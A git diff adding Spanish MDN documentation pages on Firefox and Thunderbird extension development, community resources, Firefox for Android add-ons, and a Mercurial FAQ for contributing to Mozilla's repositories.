+  <tr>
+   <td><code>oldVersion</code></td>
+   <td><code>string</code></td>
+   <td>The previously installed version, if the reason is <code>ADDON_UPGRADE</code> or <code>ADDON_DOWNGRADE</code>, and the method is <code>install</code> or <code>startup</code>. {{ gecko_minversion_inline("22.0") }}</td>
+  </tr>
+  <tr>
+   <td><code>newVersion</code></td>
+   <td><code>string</code></td>
+   <td>The version to be installed, if the reason is <code>ADDON_UPGRADE</code> or <code>ADDON_DOWNGRADE</code>, and the method is <code>shutdown</code> or <code>uninstall</code>. {{ gecko_minversion_inline("22.0") }}</td>
+  </tr>
+ </tbody>
+</table>
+<div class="note">
+ <p><strong>Note:</strong> An add-on may be upgraded/downgraded at application startup, in this case the <code>startup</code> method reason is <code>APP_STARTUP</code>, and the <code>oldVersion</code> property is not set. Also be aware that in some circumstances an add-on upgrade/downgrade may occur without the <code>uninstall</code> method being called.</p>
+</div>
+<h2 id="Further_reading">Further reading</h2>
+<ul>
+ <li>Wladimir Palant explains <a class="external" href="http://adblockplus.org/blog/how-many-hacks-does-it-take-to-make-your-extension-install-without-a-restart">problems and bugs found when converting an existing extension</a>, including some solutions and workarounds.</li>
+ <li>Mark Finkle provides some simple example code for <a class="external" href="http://starkravingfinkle.org/blog/2011/01/bootstrap-jones-adventures-in-restartless-add-ons/">restartless add-ons in mobile Firefox</a>, <a class="external" href="http://starkravingfinkle.org/blog/2011/01/restartless-add-ons-more-resources/">adding resources (like the options window)</a> to bootstrapped extensions and <a class="external" href="http://starkravingfinkle.org/blog/2011/01/restartless-add-ons-%e2%80%93-default-preferences/">using default preferences</a> without a <code>default/preferences/prefs.js</code> file.</li>
+ <li>Kris Maglione writes about <a class="external" href="http://maglione-k.users.sourceforge.net/bootstrapped.xhtml">the requirements for the cleanup procedures</a> in bootstrapped extensions.</li>
+ <li>Edward Lee shows off some <a class="external" href="http://ed.agadak.net/2011/01/restartless-add-on-example-code">helpful coding patterns and examples</a> you can use in your bootstrapped add-on.</li>
+ <li>Documentation for <a href="/en-US/docs/Extensions/Inline_Options">Inline Options</a> in Firefox 7 and later.</li>
+</ul>
diff --git a/files/es/extensions/community/index.html b/files/es/extensions/community/index.html
new file mode 100644
index 0000000000..699927cb7a
--- /dev/null
+++ b/files/es/extensions/community/index.html
@@ -0,0 +1,19 @@
+---
+title: Community
+slug: Extensions/Community
+translation_of: Extensions/Community
+---
+<div class="almost_half_cell" id="gt-res-content">
+<div dir="ltr" style="zoom: 1;"><span id="result_box" lang="es"><span class="hps">Si usted sabe de</span> <span class="hps">listas de correo</span><span>, grupos de noticias</span> <span class="hps">útiles</span><span>, foros</span> <span class="hps">u otras comunidades</span> <span class="hps">relacionadas con el desarrollo</span> <span class="hps">de extensión,</span> <span class="hps">por favor enlace a</span> <span class="hps">ellos aquí</span><span>.</span></span></div>
+</div>
+
+<ul>
+ <li><a href="http://forums.mozillazine.org/?c=11">MozillaZine Extensiones y Temas foro</a></li>
+ <li><span lang="es"><a href="http://www.mozilla.org/community/developer-forums.html">Visión general de los grupos de noticias y listas de correo de Mozilla canal</a> </span></li>
+ <li><a href="irc://moznet/%23extdev">extdev en red moznet IRC - preguntas de desarrollo de extensión</a></li>
+ <li><a href="irc://moznet/%23addons">http://addons.mozilla.org preguntas sobre - moznet IRC la red canal en addons</a></li>
+ <li><a href="http://mozdev.org/mailman/listinfo/project_owners">propietarios del proyecto MozDev lista de correo</a></li>
+ <li><a href="http://kb.mozillazine.org/Extension_development">Mozillazine Base de Conocimiento</a></li>
+ <li><a href="http://allyourideas.com/index.php?title=Category:Firefox_extension">AllYourIdeas - ideas para extensiones ((realmente necesita un CAPTCHA de única))</a></li>
+ <li><a href="http://babelzilla.org/">BabelZilla - una comunidad de desarrolladores y traductores de extensión para aplicaciones de Mozilla</a></li>
+</ul>
diff --git a/files/es/extensions/index.html b/files/es/extensions/index.html
new file mode 100644
index 0000000000..40e31c78b3
--- /dev/null
+++ b/files/es/extensions/index.html
@@ -0,0 +1,107 @@
+---
+title: Extensiones
+slug: Extensions
+tags:
+  - Complementos
+  - Todas_las_Categorías
+  - extensiones
+  - para_revisar
+translation_of: Mozilla/Add-ons
+---
+<div class="callout-box">
+  <strong><a href="/es/docs/Creando_una_extensión" title="/es/docs/Creando_una_extensión">Construir una extensión</a></strong><br>
+  Explica paso a paso cómo crear una extensión para Firefox.</div>
+<div>
+  Las <strong>Extensiones</strong> son pequeños add-ons (complementos, agregados) que añaden nuevas funcionalidades a las aplicaciones Mozilla, tales como Firefox y Thunderbird. Las extensiones permiten añadir a dichas aplicaciones cualquier cosa, desde un botón para una barra de herramientas hasta características totalmente nuevas. Permiten personalizar completamente la aplicación para ajustarla a las necesidades de cada usuario, sin aumentar de forma significativa el tamaño de la misma.</div>
+<p>Las extensiones son distintas de los <a href="/es/docs/Plugins" title="/es/docs/Plugins">Plugins</a>, que ayudan al navegador a mostrar contenidos específicos como la reproducción de archivos multimedia. Las extensiones también son diferentes de los <a href="/es/docs/Creacion_de_plugins_OpenSearch_para_Firefox" title="/es/docs/Creacion_de_plugins_OpenSearch_para_Firefox">plugins de búsqueda</a>, que añaden buscadores adicionales a la barra de búsquedas.</p>
+<table class="topicpage-table">
+  <tbody>
+    <tr>
+      <td>
+        <h4 id="Documentaci.C3.B3n" name="Documentaci.C3.B3n"><a href="/Special:Tags?tag=Extensiones&amp;language=es" title="Special:Tags?tag=Extensiones&amp;language=es">Documentación</a></h4>
+        <h5 id="General_(aplicable_para_todas_las_aplicaciones_Mozilla)">General <small>(aplicable para todas las aplicaciones Mozilla)</small></h5>
+        <dl>
+          <dt>
+            <a href="/es/docs/Creando_una_extensión" title="/es/docs/Creando_una_extensión">Creando una extensión</a></dt>
+          <dd>
+            <small>Este tutorial indica los pasos necesarios para desarrollar una extensión muy básica, la cual añadirá un texto que diga "Hello, World!" en el panel de la barra de estado de Firefox.</small></dd>
+        </dl>
+        <dl>
+          <dt>
+            <a href="/es/docs/Preguntas_frecuentes_sobre_Extensiones" title="/es/docs/Preguntas_frecuentes_sobre_Extensiones">Preguntas frecuentes sobre Extensiones</a></dt>
+          <dd>
+            <small>Esta es una recopilación de respuestas breves a los problemas más frecuentes en el desarrollo de extensiones.</small></dd>
+        </dl>
+        <dl>
+          <dt>
+            <a class="external" href="http://mundogeek.net/wiki/doku.php?id=construye_tu_propia_extension_para_firefox">Construye tu propia extensión</a></dt>
+          <dd>
+            <small>Pequeño tutorial de introducción a XUL y a la creación de una extensión para Firefox en el wiki de Mundogeek.</small></dd>
+        </dl>
+        <dl>
+          <dt>
+            <a href="/es/docs/Empaquetado_de_extensiones" title="/es/docs/Empaquetado_de_extensiones">Empaquetado de extensiones</a></dt>
+          <dd>
+            <small>Las extensiones son una forma de paquete instalable que pueden descargarse e instalarse por el usuario, o proporcionarse pre-empaquetadas con una aplicación o por un programa externo.</small></dd>
+        </dl>
+        <dl>
+          <dt>
+            <a href="/es/docs/Crear_un_panel_lateral_en_Firefox" title="/es/docs/Crear_un_panel_lateral_en_Firefox">Crear un panel lateral en Firefox</a></dt>
+          <dd>
+            <small>Este artículo es un punto de partida para la creación de nuevos paneles laterales para Firefox. El objetivo es la creación de un panel lateral vacío que pueda ser utilizado como inicio para nuevas aplicaciones que se ubiquen en dichos paneles laterales.</small></dd>
+        </dl>
+        <dl>
+          <dt>
+            <a href="/es/docs/Crear_una_extensión_en_la_barra_de_estado" title="/es/docs/Crear_una_extensión_en_la_barra_de_estado">Crear una extensión en la barra de estado</a></dt>
+          <dd>
+            <small>Éste es el primero de una serie de artículos que demostrarán cómo crear progresivamente extensiones cada vez más complejas para el navegador Firefox.</small></dd>
+        </dl>
+        <dl>
+          <dt>
+            <a href="/es/docs/Crear_una_extensión_personalizada_de_Firefox_con_el_Mozilla_Build_System" title="/es/docs/Crear_una_extensión_personalizada_de_Firefox_con_el_Mozilla_Build_System">Crear una extensión personalizada de Firefox con el Mozilla Build System</a></dt>
+          <dd>
+            <small>Cómo configurar el espacio de trabajo para una extensión que usa componentes binarios.</small></dd>
+        </dl>
+        <h5 id="Aplicación_Específica">Aplicación Específica</h5>
+        <p><a class="internal" href="/es/docs/Extensiones/Firefox" title="/es/docs/Extensiones/Firefox"><strong>Firefox</strong></a></p>
+        <p><a class="internal" href="/es/docs/Extensiones/Thunderbird" title="/es/docs/Extensiones/Thunderbird"><strong>Thunderbird</strong></a></p>
+        <p><a class="internal" href="/es/docs/Extensiones/SeaMonkey" title="/es/docs/Extensiones/SeaMonkey"><strong>SeaMonkey </strong></a><a class="internal" href="/es/docs/Extensions_support_in_SeaMonkey_2" title="en/Extensions_support_in_SeaMonkey_2">Soporte de Extensiones en SeaMonkey 2</a></p>
+        <p><strong><a href="/es/docs/Extensiones/Firefox_en_Android" title="/es/docs/Extensiones/Firefox_en_Android">Firefox en Android</a></strong></p>
+        <p><a class="external" href="http://starkravingfinkle.org/blog/2009/05/resources-for-fennec-add-on-developers/" title="http://starkravingfinkle.org/blog/2009/05/resources-for-fennec-add-on-developers/"><strong>Fennec</strong></a> (navegador movíl)</p>
+        <p><span class="alllinks"><a href="/Special:Tags?tag=Extensiones&amp;language=es" title="Special:Tags?tag=Extensiones&amp;language=es">Ver todos</a></span></p>
+        <dl>
+        </dl>
+      </td>
+      <td>
+        <h4 id="Comunidad" name="Comunidad">Comunidad</h4>
+        <ul>
+          <li>En los foros de MozillaES.
+            <ul>
+              <li><a class="external" href="http://www.mozillaes.org/index.php?option=com_forum&amp;Itemid=122&amp;page=viewforum&amp;f=15">Desarrollo Mozilla</a></li>
+            </ul>
+          </li>
+        </ul>
+        <ul>
+          <li>Foros sobre extensiones en comunidad Mozilla... en inglés.</li>
+        </ul>
+        <p>{{ DiscussionList("dev-extensions", "mozilla.dev.extensions") }}</p>
+        <p><span class="alllinks"><a href="/es/docs/Extensiones/Comunidad" title="/es/docs/Extensiones/Comunidad">Ver todo</a></span></p>
+        <h4 id="Herramientas" name="Herramientas">Herramientas</h4>
+        <ul>
+          <li><a class="external" href="http://ted.mielczarek.org/code/mozilla/extensiondev/">Extension Developer's Extension</a></li>
+          <li><a href="/es/docs/DOM_Inspector" title="/es/docs/DOM_Inspector">DOM Inspector</a></li>
+          <li><a href="/es/docs/Venkman" title="/es/docs/Venkman">Venkman</a>, el depurador de JavaScript</li>
+          <li><a class="external" href="http://ted.mielczarek.org/code/mozilla/extensionwiz/">Extension Wizard</a></li>
+        </ul>
+        <p><span class="alllinks"><a href="/Special:Tags?tag=Extensiones:Herramientas&amp;language=es" title="Special:Tags?tag=Extensiones:Herramientas&amp;language=es">Ver todo</a></span></p>
+        <h4 id="Temas_relacionados" name="Temas_relacionados">Temas relacionados</h4>
+        <dl>
+          <dd>
+            <a href="/es/docs/XUL" title="/es/docs/XUL">XUL</a>, <a href="/es/docs/JavaScript" title="/es/docs/JavaScript">JavaScript</a>, <a href="/es/docs/XPCOM" title="/es/docs/XPCOM">XPCOM</a>, <a href="/es/docs/Temas" title="/es/docs/Temas">Temas</a></dd>
+        </dl>
+      </td>
+    </tr>
+  </tbody>
+</table>
+<p><span class="comment">Categorías</span></p>
+<p><span class="comment">Interwiki Language Links</span></p>
diff --git a/files/es/extensions/móvil_clone/index.html b/files/es/extensions/móvil_clone/index.html
new file mode 100644
index 0000000000..37294a9df9
--- /dev/null
+++ b/files/es/extensions/móvil_clone/index.html
@@ -0,0 +1,86 @@
+---
+title: Extensiones de Firefox para Android
+slug: Extensions/Móvil_clone
+tags:
+  - API
+  - Browser
+  - Desarrolladores
+  - Developer
+  - Español
+  - Extensions
+  - Interfáz de Usuario
+  - Mobile
+  - Mozilla
+  - Móvil
+  - Spanish
+  - Tutoriales
+  - Tutorials
+  - UI
+  - desarrollo
+  - movil(2)
+---
+<p>Los siguientes artículos proporcionan ayuda con el desarrollo de extensiones para Firefox en Android.<span id="result_box" lang="es" style="line-height: 1.5;"> Además, por favor, consulte la<span class="hps"> </span></span><a class="internal" href="/en/Extensions" style="line-height: 1.5;" title="En/Extensions">documentación general de las extensiones</a><span id="result_box" lang="es" style="line-height: 1.5;"> <span class="hps">que se aplica a</span> <span class="hps">todas las</span> <span class="hps">aplicaciones de Mozilla</span>.</span></p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h3 id="Documentación">Documentación</h3>
+
+    <h5 id="Tutoriales">Tutoriales</h5>
+
+    <dl>
+     <dt><em><a href="https://developer.mozilla.org/en/Extensions/Mobile/Walkthrough" title="https://developer.mozilla.org/en/Extensions/Mobile/Walkthrough"><span class="short_text" id="result_box" lang="es"><span class="hps">Tutorial</span></span></a></em></dt>
+     <dd>El desarrollo, el envasado y la instalación de un sencillo complemento para Firefox para Android.</dd>
+     <dt><em><a href="/en/Extensions/Mobile/Initialization_and_Cleanup" title="en/Extensions/Mobile/Initialization_and_Cleanup">I<span class="short_text" id="result_box" lang="es"><span class="hps">nicialización</span> <span class="hps">y Limpieza</span></span></a></em></dt>
+     <dd><span id="result_box" lang="es"><span class="hps">Cómo inicializar el complemento cuando se inicia y limpiar cuando está apagado</span><span class="hps">.</span></span></dd>
+     <dt><em><a class="internal" href="/en/Extensions/Mobile/Creating_a_User_Interface" title="en/Extensions/Mobile/Creating_a_UI">C<span class="short_text" id="result_box" lang="es"><span class="hps">reación de una</span> <span class="hps">interfaz de usuario</span></span></a></em></dt>
+     <dd><span id="result_box" lang="es"><span class="hps">Una guía rápida para</span> <span class="hps">el uso de</span> <span class="hps">la</span> <span class="hps">API</span> <span class="hps">NativeWindow</span> <span class="hps">para crear</span> <span class="hps">componentes</span> <span class="hps">de interfaz de usuario</span></span>.</dd>
+     <dt><em><a class="internal" href="/en/Extensions/Mobile/API/BrowserApp" title="en/Extensions/Mobile/Interacting_with_the_Browser">Interación con el navegador</a></em></dt>
+     <dd><span id="result_box" lang="es"><span class="hps">Una guía rápida para</span> <span class="hps">el uso de</span> <span class="hps">la</span> <span class="hps">API</span> <span class="hps">BrowserApp</span> <span class="hps">para acceder a</span> <span class="hps">las pestañas del navegador</span> <span class="hps">y el contenido</span> <span class="hps">web</span> <span class="hps">que alojan.</span></span></dd>
+    </dl>
+
+    <h4 id="Consultas_a_la_API_y_ejemplos_de_código">Consultas a la API y ejemplos de código</h4>
+
+    <dl>
+     <dt><a class="internal" href="/en/Extensions/Mobile/API/NativeWindow" title="en/Extensions/Mobile/API/NativeWindow">NativeWindow</a></dt>
+     <dd>Crea widgets nativos para la interfaz de Android.</dd>
+     <dt><a href="/en/Extensions/Mobile/API/BrowserApp" title="en/Extensions/Mobile/API/BrowserApp">BrowserApp</a></dt>
+     <dd>Acceso a las pestañas del navegador y al contenido que éste aloja.</dd>
+     <dt><a href="/en-US/docs/Code_snippets/Mobile" title="/Code_snippets/Mobile">F<span class="short_text" id="result_box" lang="es"><span class="hps">ragmentos de código</span></span></a></dt>
+     <dd>Ejemplos de códigos para tareas comunes.</dd>
+    </dl>
+   </td>
+   <td>
+    <h3 id="Comunidad">Comunidad</h3>
+
+    <ul>
+     <li>
+      <p><span class="short_text" id="result_box" lang="es"><span class="hps">Ver</span> <span class="hps">foros de desarrollo</span> <span class="hps">de extensiones</span> <span class="hps">de Mozilla</span></span>.</p>
+     </li>
+    </ul>
+
+    <p>{{ DiscussionList("dev-extensions", "mozilla.dev.extensions") }}</p>
+
+    <ul>
+     <li><a class="link-irc" href="irc://moznet/#extdev" title="irc://moznet/#extdev">#extdev canal IRC (Inglés)</a></li>
+     <li><a class="link-irc" href="irc://moznet/#mobile" title="irc://moznet/#mobile">#mobile canal IRC (Inglés)</a></li>
+    </ul>
+
+    <h3 id="Herramientas">Herramientas</h3>
+
+
+
+    <p><span class="alllinks"><a href="/Special:Tags?tag=Extensions:Tools&amp;language=en" title="Special:Tags?tag=Extensions:Tools&amp;language=en">Ver todas...</a></span></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Temas_Relacionados">Temas Relacionados</h3>
+
+<dl>
+ <dd><a href="/en/XUL" title="en/XUL">XUL</a>, <a href="/en/JavaScript" title="en/JavaScript">JavaScript</a>, <a href="/en/XPCOM" title="en/XPCOM">XPCOM</a>, <a href="/en/Themes" title="en/Themes">Temas</a>, <a href="/En/Developer_Guide" title="en/Developing_Mozilla">Desarrollo de Mozilla</a></dd>
+</dl>
+
+<p><span class="alllinks"><a class="internal" href="/Special:Tags?tag=Extensions" title="Special:Tags?tag=Extensions">Ver todas las páginas con el tag "Extensiones"...</a></span></p>
diff --git a/files/es/faq_de_mercurial/index.html b/files/es/faq_de_mercurial/index.html
new file mode 100644
index 0000000000..0b4b1ff536
--- /dev/null
+++ b/files/es/faq_de_mercurial/index.html
@@ -0,0 +1,237 @@
+---
+title: FAQ de Mercurial
+slug: FAQ_de_Mercurial
+tags:
+  - Desarrollando_Mozilla
+  - Mercurial
+  - Todas_las_Categorías
+translation_of: Mercurial/Using_Mercurial
+---
+<h3 id=".C2.BFEn_qu.C3.A9_se_diferencia_Mercurial_de_CVS.3F">¿En qué se diferencia Mercurial de CVS?</h3>
+<ul> <li>"En mucho". Deberías leer y comprender <a href="/es/lo_básico_de_Mercurial" title="es/lo_básico_de_Mercurial">lo básico de Mercurial</a> antes de hacerte cargo de trabajo con Mercurial en el que tengas interés.</li>
+</ul>
+<ul> <li>Los cambios en Mercurial son atómicos.</li>
+</ul>
+<ul> <li>En Mercurial, el etiquetado es rápido y O(1).</li>
+</ul>
+<ul> <li>Mercurial facilita a todos bifurcar el repositorio central (la orden es <code>hg clone</code>).</li>
+</ul>
+<ul> <li>Mercurial hace que ramificar sea rápido y fácil y mantiene la fusión muy coherente (ver <a href="/es/Publicar_clones_en_Mercurial" title="es/Publicar_clones_en_Mercurial">Publicar clones en Mercurial</a>).</li>
+</ul>
+<ul> <li>Con Mercurial tendrás un <em>clon</em> completo, totalmente armado y operacional del repositorio entero de Mozilla en tu disco duro. Puedes trabajar localmente y aplicarle cambios sin afectar a nadie más. Para promocionar los cambios al repositorio principal, usa <code>hg push</code>.</li>
+</ul>
+<ul> <li><a class="external" href="http://hgbook.red-bean.com/hgbookch12.html#x16-26700012">Las colas de Mercurial (inglés)</a> pueden ayudarte a hacer malabarismos con los parches. Es como <a class="external" href="http://savannah.nongnu.org/projects/quilt">Quilt (inglés)</a>. La idea tras Quilt es ésta: <blockquote> <p>Los scripts permiten manejar una serie de parches manteniendo un registro de los cambios que hace cada parche. Los parches pueden ser aplicados, des-aplicados, refrescados, etc.</p> <p>El concepto filosófico clave es que tu salida principal son parches. No archivos ".c", no archivos ".h", sino parches. Así que los parches son el objeto de primera categoría aquí.</p> </blockquote></li>
+</ul>
+<ul> <li>Cuando CVS encuentra conflictos al fusionar, pone marcadores de conflicto en tu archivo. Cuando Mercurial encuentra conflictos al fusionar, lanza un <a class="external" href="http://www.selenic.com/mercurial/wiki/index.cgi/MergeProgram">programa de fusión (inglés)</a>. Esto es como un dolor de cervicales.</li>
+</ul>
+<ul> <li>En muchos casos en los que CVS actúa por archivo o por directorio, Mercurial actúa por repositorio. Por ejemplo, un solo conjunto de cambios de Mercurial puede contener archivos a muchos archivos a lo largo del árbol.</li>
+</ul>
+<ul> <li><strong>Esperamos que Mercurial nos permita volver a pensar la manera en la que trabajamos</strong>. Los equipos e individuos deberían poder ramificar y fusionar mucho más fácilmente - sin abrir incidencias para el equipo técnico. La gente de fuera de la comunidad que sean desarrolladores experimentados deberían ser capaces de hacer cosas sorprendentes con esto. Las compañías que mantienen bifurcaciones de Mozilla deberían poder trabajar mejor, también. Todo está por ver, no obstante.</li>
+</ul>
+<h3 id=".C2.BFC.C3.B3mo_instalo_Mercurial.3F">¿Cómo instalo Mercurial?</h3>
+<p>Si usas <code>apt-get</code>, <code>emerge</code>, <code>port</code>, o <code>yum</code> para instalar software, limítate a hacer lo normal. Si obtienes como resultado una versión antigua (pre-1.0 -- compruébalo con <code>hg version</code>), puedes actualizarlo usando <code>easy_install</code> como sigue (usando <code>apt-get</code> en este ejemplo):</p>
+<pre class="eval">sudo apt-get install python-setuptools python-dev build-essential
+sudo easy_install -U mercurial
+</pre>
+<p>En caso contrario, los <a class="external" href="http://www.selenic.com/mercurial/wiki/index.cgi/BinaryPackages">paquetes binarios de Mercurial (inglés)</a> están hechos para ti. Revisa también {{ interwiki('wikimo', 'Mercurial_on_Windows', 'wikimo:Mercurial on Windows') }} (inglés).</p>
+<h4 id="Programa_de_fusi.C3.B3n">Programa de fusión</h4>
+<p>Tras instalar, <strong>elige un <a class="external" href="http://www.selenic.com/mercurial/wiki/index.cgi/MergeProgram">programa de fusión (inglés)</a></strong>. En serio. Hazlo ahora. Si no lo haces, Mercurial elegirá uno por ti y te lo plantará en tus narices cuando menos lo esperes.</p>
+<p>Algo razonable para hacer es configurar <code>ui.merge=internal:merge</code> en el archivo de configuración de Mercurial (ver más abajo), lo que hace que Mercurial intente fusionar los cambios y añadir los marcadores de conflicto (al estilo CVS) a los archivos que no pueda fusionar.</p>
+<p>Puedes ver la lista de conflictos de fusión buscando "merging ... failed!" en la salida de update.</p>
+<h4 id="Configuraci.C3.B3n">Configuración</h4>
+<p>Deberías configurar Mercurial antes de descargar el código. Tu archivo de configuración de Mercurial (<code>~/.hgrc</code>) debería tener al menos la siguiente configuración:</p>
+<pre class="eval">[ui]
+username = Tu Nombre Real &lt;<a class=" link-mailto" href="mailto:user@example.com">user@example.com</a>&gt;
+merge = <em>tu-programa-de-fusión</em>
+
+[diff]
+git = 1
+
+[defaults]
+diff=-p -U 8
+</pre>
+<p>En Windows, estos valores se pueden añadir a <code>C:\Archivos de Programa\Mercurial\Mercurial.ini</code>. En los sistemas tipo Unix, debería estar en tu archivo <code>$HOME/.hgrc</code>.</p>
+<p>Puedes configurar el editor a usar para los mensajes de fusión usando la opción <code>editor</code> en la sección <code>{{ mediawiki.external('ui') }}</code> o estableciendo la variable de entorno <code>EDITOR</code>.</p>
+<h3 id=".C2.BFC.C3.B3mo_gestiona_Mercurial_los_finales_de_l.C3.ADnea.3F">¿Cómo gestiona Mercurial los finales de línea?</h3>
+<p>La versión Windows de Mercurial no convierte automáticamente los finales de línea entre los estilos de Windows y Unix. Todos nuestros repositorios usan finales de línea Unix. Necesitamos una manera de solucionar esto en Windows, pero de momento no sabemos cómo.</p>
+<p>(¿Qué tal si insertamos un control previo al commit que rechace los cambios que contienen CR con un mensaje de error informativo apropiado? Posiblemente querremos hacer excepciones para ciertos tipos de archivo (como poco, archivos binarios, por supuesto), pero podemos ajustar el control según consideremos necesario. Mercurial 1.0 añade un control estándar para esto en la extensión win32text que podríamos usar/adaptar --jwatt).</p>
+<h2 id=".C2.BFC.C3.B3mo_puedo....3F">¿Cómo puedo...?</h2>
+<h3 id=".C2.BFC.C3.B3mo_puedo_descargar_Mozilla.3F">¿Cómo puedo descargar Mozilla?</h3>
+<p>El desarrollo principal (trunk) de Mozilla 2 está ubicado en <a class=" external" href="http://hg.mozilla.org/mozilla-central/">http://hg.mozilla.org/mozilla-central/</a> . Revisa <a href="/es/Código_fuente_de_Mozilla_(Mercurial)" title="es/Código_fuente_de_Mozilla_(Mercurial)">Código fuente de Mozilla (Mercurial)</a> para instrucciones sobre cómo descargar el código fuente de Mozilla 2 de Mercurial.</p>
+<h3 id=".C2.BFC.C3.B3mo_puedo_editar_y_actualizar_archivos.3F">¿Cómo puedo editar y actualizar archivos?</h3>
+<p>Puedes editar archivos a voluntad en el directorio de trabajo, exactamente igual que con CVS.</p>
+<p>La orden común para actualizar un árbol es:</p>
+<pre class="eval">hg pull -u
+</pre>
+<p>No es posible actualizar sólo un directorio; tienes que actualizar el árbol entero.</p>
+<h3 id=".C2.BFC.C3.B3mo_detecto_cambios_y_aplico_parches_en_archivos.3F">¿Cómo detecto cambios y aplico parches en archivos?</h3>
+<ul> <li><code>hg diff</code> muestra las diferencias del árbol completo por defecto. Usa <code>hg diff &lt;dir&gt;</code> para ver las diferencias sólo del directorio dado. No olvides hacer <code>hg add</code> de cualquier archivo nuevo que estés añadiendo antes de generar el parche.</li>
+</ul>
+<ul> <li>Si estás cambiando archivos binarios o renombrando archivos puedes querer usar parches al estilo git con <code>hg diff -g</code> para conservar ese tipo de información en el parche.</li>
+</ul>
+<ul> <li>Al aplicar un parche generado por Mercurial, usa <code>patch -p1</code>, no <code>patch -p0</code> (esto se debe a un fallo de la salida del diff de Mercurial — se refiere a los directorios ficticios "a" y "b". No preguntes).</li>
+</ul>
+<ul> <li>Si tienes un parche de estilo git con renombrados o cambios binarios puedes usar <code>hg import --no-commit</code> para aplicar el parche a tu árbol o usar <code>hg qimport</code> para importar el parche en mq.</li>
+</ul>
+<p>Las opciones de diff preferidas son <code>hg diff -p -U 8</code> que incluye 8 líneas de contexto y muestra la función relevante del bloque. Puedes convertir estas opciones en predeterminadas en el <a href="/es/Mercurial#Configuraci.C3.B3n" title="es/Mercurial#Configuraci.C3.B3n">archivo de configuración de Mercurial</a>.</p>
+<h3 id=".C2.BFC.C3.B3mo_aplico_cambios.3F">¿Cómo aplico cambios?</h3>
+<h4 id="Configuraci.C3.B3n_necesaria">Configuración necesaria</h4>
+<p>Antes de aplicar ningún cambio, añade estas líneas a tu archivo <code>~/.hgrc</code>:</p>
+<pre class="eval">[ui]
+username = Tu nombre &lt;<a class=" link-mailto" href="mailto:tu.email@example.com">tu.email@example.com</a>&gt;
+</pre>
+<p>Para subir los cambios a <a href="/es/mozilla-central" title="es/mozilla-central">mozilla-central</a> y otros repositorios alojados en mozilla tienes que tener acceso de escritura (committer), y debes editar el archivo <code><em>(tu-raíz-hg-local)</em>/.hg/hgrc</code> (observa que éste <strong>NO</strong> es tu <code>~/.hgrc</code>) para añadir esta línea:</p>
+<pre class="eval">[paths]
+default = <span>http://hg.mozilla.org/mozilla-central/</span>
+<strong>default-push = <span>ssh://hg.mozilla.org/mozilla-central/</span></strong>
+</pre>
+<p>También tienes que decirle a SSH qué nombre de usuario utilizar al conectar con hg.mozilla.org. Éste debería ser el nombre de usuario asociado a tu cuenta LDAP en Mozilla. Puedes hacer esto bien complicando ligeramente la ruta de aplicación por defecto, o default-push, (convirtiéndola en <a class=" link-mailto" href="mailto:user@host.name">user@host.name</a>@hg.mozilla.org) o bien añadiendo líneas a tu ~/.ssh/config:</p>
+<pre class="eval">Host hg.mozilla.org
+User <a class=" link-mailto" href="mailto:usuario@host.dominio">usuario@host.dominio</a>
+</pre>
+<h4 id="Comprueba_lo_que_vas_a_aplicar">Comprueba lo que vas a aplicar</h4>
+<p>A continuación, para comprobar si realmente vas a aplicar los cambios que quieres aplicar (especialmente importante al hacer fusiones y otros cambios complejos):</p>
+<pre class="eval">hg status
+hg diff
+</pre>
+<p><code>status</code> muestra los archivos que han cambiado en tu directorio de trabajo comparado con lo que hay en tu repositorio (las revisiones padre, que puedes ver usando <code>hg parents</code>). <code>hg diff</code> muestra los cambios reales en esos archivos, como diffs unificados. Puedes añadir la opción -U8 para ver más contexto.</p>
+<h4 id="Aplica_al_repositorio_local">Aplica al repositorio local</h4>
+<p>Como siguiente paso, aplicarás tus cambios <em>a tu repositorio local</em>:</p>
+<pre class="eval">hg commit
+</pre>
+<p>Esto aplica los cambios informado por <code>hg status</code>. Puedes limitar la aplicación a archivos o directorios específicos usando <code>hg commit <em>nombres_de_archivo</em></code>. Puedes aplicar los cambios en nombre de alguna otra persona usando <code>hg commit -u "Algún otro &lt;<a class=" link-mailto" href="mailto:algun_otro@example.com">algun_otro@example.com</a>&gt;"</code>. Revisa <code>hg help commit</code> para obtener más detalles.</p>
+<h4 id="Comprueba_lo_que_vas_a_subir">Comprueba lo que vas a subir</h4>
+<p>Antes de que subas (push), probablemente quieras comprobar qué conjuntos de cambios se subirán. Puedes hacer esto usando la orden <code>outgoing</code>:</p>
+<pre class="eval">hg outgoing
+</pre>
+<p>Esto te dará una lista de conjuntos de cambio que se subirán al repositorio remoto predeterminado. Añade un argumento de repositorio para ver los cambios salientes (outgoing) en ese otro repositorio.</p>
+<h4 id="Subir_al_repositorio_central">Subir al repositorio central</h4>
+<p>Para subir esos cambios hasta el repositorio central:</p>
+<pre class="eval">hg push
+</pre>
+<p>Obtendrás un mensaje de error sin importancia cada vez que subas:</p>
+<pre class="eval">remote: Could not chdir to home directory : No such file or directory
+</pre>
+<p>Ignóralo sin más.</p>
+<h3 id=".C2.BFC.C3.B3mo_act.C3.BAo_ante_.22abort:_push_creates_new_remote_heads.21.22.3F">¿Cómo actúo ante "abort: push creates new remote heads!"?</h3>
+<p>Hagas lo que hagas, no hagas 'push -f' como sugiere el mensaje (probablemente falle de todas formas, pero ni lo intentes).</p>
+<p>Alguien ha subido nuevos cambios desde tu última descarga. A continuación has aplicado tu parche localmente y estás intentando subir ese cambio al repositorio principal, el cual tiene un último cambio distinto de aquél desde el que comenzaste.</p>
+<p>Hay dos cosas que puedes hacer. La más sencilla es fusionar tus cambios: ejecuta hg pull, luego hg merge. Resuelve cualquier conflicto que surja, y luego aplica la fusión resultante: hg commit -m "Merge commit for bug 123456". Luego haz hg push normalmente. Esto tiene el desafortunado efecto colateral de dejar un feo cambio por fusión en el historial de revisiones y, lo que es peor, hará tu parche más difícil de retrotraer si tuviste que resolver conflictos.</p>
+<p>Sin embargo, es lo más sencillo, y es muy seguro. Hay otra manera de afrontar el problema, pero es considerablemente más arcana -- hay un arreglo/reemplazo en progreso.</p>
+<p>{{ Warning("Esta aproximación funciona casi bien, pero hay algunos informes de parches que han sido tragados en varias ocasiones. Toma precauciones para hacer copias de tus parches (quizá obteniendo un diff: hg log -p -r 12345 para mostrar el parche de la revisión 12345) hasta que estés seguro de que las cosas funcionan como esperas.") }}</p>
